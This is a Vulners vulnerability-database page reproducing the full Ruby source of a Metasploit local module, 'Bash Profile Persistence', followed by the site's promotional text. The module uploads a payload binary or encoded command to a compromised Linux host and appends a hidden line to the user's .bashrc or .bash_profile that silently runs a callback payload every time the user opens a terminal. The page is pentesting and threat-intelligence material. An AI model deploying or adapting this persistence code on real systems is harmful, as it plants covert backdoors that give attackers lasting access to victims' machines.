Lucene search
K

Bash Profile Persistence

🗓️ 02 Sep 2025 18:54:45Reported by Michael Long <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 453 Views

Please provide input as a JSON array of objects with id and description fields.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Post::Linux::User
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/bash_profile_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bash Profile Persistence',
        'Description' => %q{
          This module writes an execution trigger to the target's Bash profile.
          The execution trigger executes a call back payload whenever the target
          user opens a Bash terminal.
          Verified on Ubuntu 22.04 and 18.04 desktop with Gnome
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Long <bluesentinel[at]protonmail.com>'
        ],
        'Payload' => {
          'BadChars' => '#%\n"'
        },
        'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell
        'Platform' => ['unix', 'linux'],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION, EVENT_DEPENDENT ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
        }
      )
    )

    register_options(
      [
        OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually .bashrc or .bash_profile.', '.bashrc']),
        OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']),
      ]
    )
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    whoami
  end

  def profile_path
    user = target_user
    home = get_home_dir(user)
    "#{home}/#{datastore['BASH_PROFILE']}"
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    ppath = profile_path

    # check that target Bash profile file exists
    return CheckCode::Safe("Bash profile does not exist: #{ppath}") unless exist?(ppath)

    vprint_good("Bash profile exists: #{ppath}")

    # check that target Bash profile file is writable
    return CheckCode::Safe("Bash profile is not writable: #{ppath}") unless writable?(ppath)

    vprint_good("Bash profile is writable: #{ppath}")

    CheckCode::Detected("Bash profile exists and is writable: #{ppath}")
  end

  def install_persistence
    super
    # create Bash profile backup on local system before persistence is added
    ppath = profile_path
    backup_profile = read_file(ppath)

    backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
    print_status("Created backup Bash profile: #{backup_profile_path}")

    if payload.arch.first == 'cmd'
      pload = payload.encoded
      pload = pload.sub(/&$/, '') # remove trailing & since we add it later
      exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
    else
      # upload persistent payload to target and make executable (chmod 700)
      payload_path = writable_dir
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
      payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
      payload_path << payload_name
      upload_and_chmodx(payload_path, generate_payload_exe)

      # write payload trigger to Bash profile
      exec_payload_string = "#{payload_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
    end
    append_file(ppath, exec_payload_string)
    vprint_status('Created Bash profile persistence')
    print_good('Payload will be triggered when target opens a Bash terminal')

    @clean_up_rc << "rm #{payload_path}\n"
    @clean_up_rc << "upload #{backup_profile_path} #{ppath}"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jun 2026 19:01Current
5.9Medium risk
Vulners AI Score5.9
453